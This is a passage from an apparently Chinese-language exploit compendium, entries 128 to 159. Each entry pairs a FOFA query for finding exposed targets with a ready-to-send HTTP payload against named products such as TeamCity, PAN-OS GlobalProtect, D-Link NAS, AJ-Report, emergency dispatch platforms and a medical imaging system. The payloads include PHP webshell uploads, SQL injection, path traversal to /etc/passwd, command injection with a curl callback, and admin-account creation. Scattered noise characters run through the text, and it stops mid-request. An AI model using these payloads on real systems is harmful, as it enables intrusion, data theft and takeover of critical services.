------WebKitFormBoundaryJGgV5l5ta05yAIe0--
. C2 d- j1 T- s6 o  d& r

  a- g$ E+ B9 F4 \/ i% Z
128. Adobe ColdFusion 反序列化
( B1 @- D9 |, c$ [; l! g" @8 `CVE-2023-38203
" p4 q; `9 S! B4 T  {( o1 L; W& p1 ZAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
7 m- d; Y' U. B' ^9 `0 v. N" I8 k" MFOFA：app="Adobe-ColdFusion"
PAYLOAD
! I- X- e9 p' c" E" N6 @
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
2 G' h6 o) {- `' P- L0 {FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
" [3 B0 y$ l1 {. z* k; _第一步，获取uuid
: I* I% K4 j1 j: M) E) }GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
: L8 c/ T! Y3 t& SHost: x.x.x.x
( ^, P# V' g1 m) \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
2 S/ d! I0 Y3 X& yAccept-Encoding: gzip, deflate
4 K) \& C- [, M! B5 LConnection: close

1 m% x* _7 V' A' s7 E
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" l* f9 M( e1 ~/ g8 U4 N/ D/ _/ MAccept: */*
Accept-Encoding: gzip, deflate
9 l9 N# \2 }) c# M' lConnection: close
. A) ?( r  S, p* _4 p( s# Z' Uuuid: 85f60018-a654-4410-a783-f81cbd5000b9

4 i" X* W+ z6 ?- U- l
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& D/ b/ g' T/ m4 x  p4 N. @Cookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
" c& Z% z) n$ C4 E/ i# SContent-Disposition: form-data; name="file"; filename="1.php"
$ \+ l& @$ |) w1 s8 L! bContent-Type: image/png
  x6 I" T& m5 B4 w
$ u2 Y7 n$ P! y+ i9 v9 p<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
+ M: g8 C1 M+ W# j. _, F: x

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
6 w3 o) c+ ^  X% h) n. a4 Yhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
: g. m2 R  U3 R8 o+ UCVE-2024-27198
! J3 r( X2 {' x8 f7 |FOFA：body="Log in to TeamCity"
5 j) R! {  m  u7 b8 n& J- P! o& J) f. F) cPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
0 g! E7 u& O7 R2 JHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
" s) A3 v( j- o* rContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
4 [; f1 d3 {3 }5 l3 ?- @. L/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/ s. x3 w% Y6 v' R/update/../admin/diagnostic.jsp
! k8 E2 z/ ^3 H$ b- T

CVE-2024-27198-RCE.py

/ Z/ M  l7 t- L# }1 ~133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
1 k- B$ Q" z$ G" ]Host: your-ip
7 H. m* M! f' `- N* h+ wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
$ J! d! Z, w( ^! I7 P6 LContent-Type: application/octet-stream

0 h9 r5 F; N/ E, T$ G<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

4 `! h5 r" {" ~0 e

134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
2 h* ^% L0 z- H, l- k  WNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
) V  t8 F9 |9 X, a: D" S- cCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
% S1 [2 Z( S9 `/ A" sAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 f+ i; R- g  i2 o/ w2 k/ H5 ^Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
& Z5 p8 h2 t2 w1 I9 uContent-Type: application/x-www-form-urlencoded
Content-Length: 263
( c) g% _: }; W, Y% w) W
$ I+ J7 N9 O: Z9 l" Y! j. tjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

: T8 Q! g! w; X1 i+ H; I
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
4 I7 r7 ^5 j) rCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
$ W4 y( L  J7 tFOFA：app="网康科技-NS-ASG安全网关"
6 T, Z- U. U  f. e9 I" fGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. n& ]! Y# s& i: J% ~5 a/ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, m& I1 T% w* H1 }1 ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* F" |* a7 u; [Connection: close

7 G/ S$ L- k5 W: Z( p# i
+ l. V6 I$ ^, S7 Q; P136. NextChat cors SSRF
CVE-2023-49785
/ a, c& v* v$ cFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
# n; G1 M" g4 T8 c3 w: SHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
' i2 x5 W" {  E, @; g7 c
( R1 [# g& K6 _0 }, v2 K) w; U
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
6 v" b0 {# o' u% N. r+ q, LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, z1 n5 _- O5 b; IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 N$ }3 v) \( y0 aAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
) ~1 ]$ A& b9 L2 M7 M4 K$ n8 TUpgrade-Insecure-Requests: 1
  m2 T2 ~( I; [3 k
4 L$ V5 s5 h. f1 F3 z9 `
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
( j: V  O. L3 K! A/ g7 a2 G1 N! h. XCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, w# J% v5 \3 F4 c6 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
  R% _% \9 @/ `% O% a4 vUpgrade-Insecure-Requests: 1
9 m! v+ J) W3 H& t6 w

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
/ B& O9 f! j! W8 e# I% }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& F6 f0 s4 ?0 l3 @Accept-Encoding: gzip, deflate, br
Connection: close
$ _( [5 W1 [% J; e4 U( r. o9 nCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
( `' E3 A% v+ \' ~Upgrade-Insecure-Requests: 1
& {0 X4 k) k8 @. o: P

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) c6 i) x2 w' r5 o% }3 }3 B# rGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 b6 h! p/ H2 P! i; ^4 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 m$ m. {+ \) e8 `1 p: }8 X3 NAccept-Encoding: gzip, deflate, br
Connection: close
9 h2 X% n; p5 [# q4 i5 z! ZCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
, @+ r) t% u2 E7 z* r6 l* ZPOST /app/ext/ajax_users.php HTTP/1.1
& B% [9 `: X7 i& ]% V" r2 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
: S7 q0 B9 R( [2 QContent-Type: application/x-www-form-urlencoded

: ~9 V/ ~( y$ O8 s' x* Z
+ D1 T5 M" j$ h( Jdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
- E4 }2 R3 C# w+ D' o; u3 k/ Cadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
. R( ~. T6 B4 Y# U9 i/ r* EFOFA：title='AP setup' && header='netis'
) j6 f6 k/ k" n7 w# O' B% c0 gPAYLOAD

! Q! L3 n5 M. l144. D-Link nas_sharing.cgi 命令注入
- m( x( ?8 q& A; |& H1 O% R' yFOFA：app="D_Link-DNS-ShareCenter"
% \* t' o$ P! y* h" Fsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
% `2 {5 y) o+ }! p% d2 [' s5 s* THost: x.x.x.x
: W+ e# O: S5 L, w" ~/ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
, W( F4 \) Y' p+ `  U+ }4 rConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

3 Z# I: L; C7 X
$ s$ i# Q$ G% E& r; {5 O145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
1 ^6 f& F: o- J' u! |0 DFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
( N# m$ m+ V" XHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
8 U5 f% }9 q! U0 e& WConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
% |& y: ?! K" h/ z& t/ ?! oAccept-Encoding: gzip

6 E- g/ S) k! F: _/ ~4 f3 Q, o
146. MajorDoMo thumb.php 未授权远程代码执行
7 y# V& t7 A$ f8 N3 Q1 N( q0 qCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' }. ]+ ?: r! q' P0 CAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


/ Z5 t3 ~9 _8 F+ \2 w147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
. n! `8 t( Q$ U) RCVE-2024-32399
% P9 y% ^, \7 K/ v* xFOFA：body="RaidenMAILD"
6 C4 ]1 n# f" [) U5 [. `GET /webeditor/../../../windows/win.ini HTTP/1.1
1 \5 V1 X) ~) H# J3 z8 i) }Host: 127.0.0.1:81
5 o( Q  X& n( E; Z; c% w0 RCache-Control: max-age=0
Connection: close

+ D+ L+ {& H3 ^1 }
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
8 {9 P/ \" U) I. L7 ?FOFA：body="CrushFTP"
PAYLOAD
$ l& H" r# w* p& C
149. AJ-Report开源数据大屏存在远程命令执行
- W3 M/ \$ F0 o+ A" v3 ^. M! zFOFA：title="AJ-Report"

  V4 ~) b+ e/ v& K5 ^0 uPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
- y8 o9 O, E5 b. `* ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
9 Y5 j! M' y* F/ Y- ~Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
8 _3 k+ ~& L; d% _* X" FFOFA：title="AJ-Report"
+ u' g1 _3 @1 H6 E& L% X9 `POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
# n/ J0 k$ _; p( ^1 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) g5 S* m: c  ^Content-Type: application/json;charset=UTF-8
Connection: close
3 F! B: c; A8 ?6 M2 gContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
" K' p5 W, ]+ e% G0 M6 Y/ f! [& H- ]% cGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
5 y7 K% I9 |  a) x0 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* u1 D2 M% X% y7 VAccept-Encoding: gzip
% J6 X( ~. Z: }$ F4 U( @0 i

  x/ L+ D+ a2 C8 ^# @152. Progress Kemp LoadMaster 远程命令执行
& O' X( w+ c' K6 {CVE-2024-1212
( O! ~% M: N0 N3 b7 X) B5 SLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
+ Y# t) z* o' o" n, @- ^FOFA：body="LoadMaster"
% c+ N  T6 n: P( K1 J1 F  z8 I9 PJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
8 t1 \' b3 \: E% N# M! ~- z+ {* \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
7 q$ p1 S4 h# y9 eAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
/ s; S  t" e$ {$ [! u! aAccept-Encoding: gzip

1 g# \% i7 X7 @0 i! f& q: m$ I7 y8 E: F
" D5 C, v* N! q6 O. T: P" F153. gradio任意文件读取
& c! A1 T6 \5 ACVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
' @8 z0 o' g! N/ o' k

7 ?$ [! e! g  ]% I7 {* j4 B第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
' U4 a/ x2 c2 |" T# RHost: x.x.x.x
" j9 q# B3 [  p! g" d: z2 O% }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
* ~1 d  E7 L! S& ?2 k: _Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
( l0 v. M4 h5 o  T1 W7 n
( s6 s/ ]* _6 ^3 \( d9 t7 W{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
7 T# {' Q2 L' Y: T1 Q8 P7 x

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

' v5 @) Z- V& D% V
154. 天维尔消防救援作战调度平台 SQL注入
6 ^+ p8 ?7 d% J' U( K- {CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
0 ]0 o% V  |- L* P* [0 ~Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
, n. ^" q* |1 S& [  ^3 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ {, D$ v7 w: x$ K! `  k/ ~1 w9 tReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
6 [# Q8 j; [7 F/ Q7 b% ZAccept-Encoding: gzip, deflate
/ L! i. ]  d; g+ w9 mAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
% g+ }# K' E0 ~( N2 wConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

9 m; f) s; q  l6 [2 r
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
# u% q  k+ f% O0 P' G9 EFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
) q8 c; l' \* W7 n5 f; M7 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
! v8 d" d6 T8 I' g4 CAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 ^) o5 ^# D/ k4 _# NContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
$ |  h, P* v8 C" I% i
-----------------------------qttl7vemrsold314zg0f
5 L2 J8 y. V& O& v& fContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
- E& W3 e" B7 N
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
! S0 I1 {" r3 Q9 {: X/ E' F$ `

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

' n% C4 o- m8 G$ q7 _8 K156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
/ v1 D6 B9 g9 W1 ^FOFA："Location: /login.rsp"
9 B* `  V+ a% Z5 l) H, K& [- {·TBK DVR-4104
7 y. @* D7 y# V9 s# T4 t·TBK DVR-4216
/ }; F6 S- a' g* a- Ccurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
( z/ q, U2 R+ F
# }- }1 e+ r; L) T* J3 o/ Q* m
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, [% L# ]& @( z" K/ t  y; @% UConnection: close
) b% x3 E; I; p$ Z. \5 s: n+ GContent-Length: 0
  n- p& i9 Y0 UCookie: uid=1
. Z1 A3 j/ B8 M6 w, ZAccept-Encoding: gzip
& n+ U2 |1 Y5 J) E# [
1 X3 G" C( z" C& W. a
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
  w6 O  @, U7 d0 wPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
' E$ ^% w: t$ W" z5 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
" f  X, b5 e5 z& u) TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( q9 {* M# [; X" GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
4 T. t) I0 O/ Y1 r6 ?7 mConnection: close
& {6 h6 M( s& b2 J/ T) v8 DContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
* g6 u4 {6 P* ?Upgrade-Insecure-Requests: 1
1 W9 @5 F5 H3 k5 }2 ^, T" m2 n6 z
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
4 P* ~. E  \% s! a. z- n* _
" Z7 ^, ~  a) ]  \null
' F$ I! h7 T  W3 Q% L------WebKitFormBoundary1imovELzPsfzp5dN
; H) P' E1 D- _4 [$ x! ~5 oContent-Disposition: form-data; name="form"
2 `$ w  s& P& A+ ~4 B
9 ^8 K2 h3 t0 F5 e2 H( E+ H7 Mnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
3 t/ y7 m3 x5 l( |/ g! [8 Y
4 h7 J2 d1 ]0 S0 j" H) Nnull
------WebKitFormBoundary1imovELzPsfzp5dN
& r3 C+ {& t, P7 Z& A5 K4 v6 z# ~. JContent-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
; p, C( s$ f, |Content-Disposition: form-data; name="filefolder"
' N1 \9 I9 T# ^0 C; z3 O7 N. n: V
' @' @. [% N, B7 ~null
+ t* S( E& @' y% e7 \, h& _' N------WebKitFormBoundary1imovELzPsfzp5dN--
4 j5 _& h' D& q! s: I$ v, B: X. C3 `
" l) u( x- ]! W+ N/ K, i4 D
/ _4 l( a, V$ E2 ohttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
% g- f, f8 X0 x+ RCVE-2024-32640
FOFA："Generator: Masa CMS"
8 ^) r* U7 L, U5 |1 o# |POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
8 \/ d* n: }7 zContent-Type: application/x-www-form-urlencoded
) @: h9 u6 O/ y* ~
9 G* p, D$ g. B, U$ H" Sobject=displayregion&contenthistid=x\'&previewid=1


" u" F& z9 _9 V  a3 `159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
4 i9 X% B9 V4 ?$ c8 Y! LFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
- u6 b  l4 A3 C9 t& V4 X5 YPOST /webservices/WebJobUpload.asmx HTTP/1.1
- Z. r/ V$ L6 B. |; f4 q  E* `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
: H% y% d2 m! E4 o( ]3 WAccept-Encoding: gzip, deflate
- N0 y! n3 C( T5 \- |; |Connection: close
' r' `3 K9 E' T( _Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
' ^3 m0 c- V5 ]" `6 Y6 G<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
! P# x4 p, S# R+ `<fileName>abcrce.asmx</fileName>
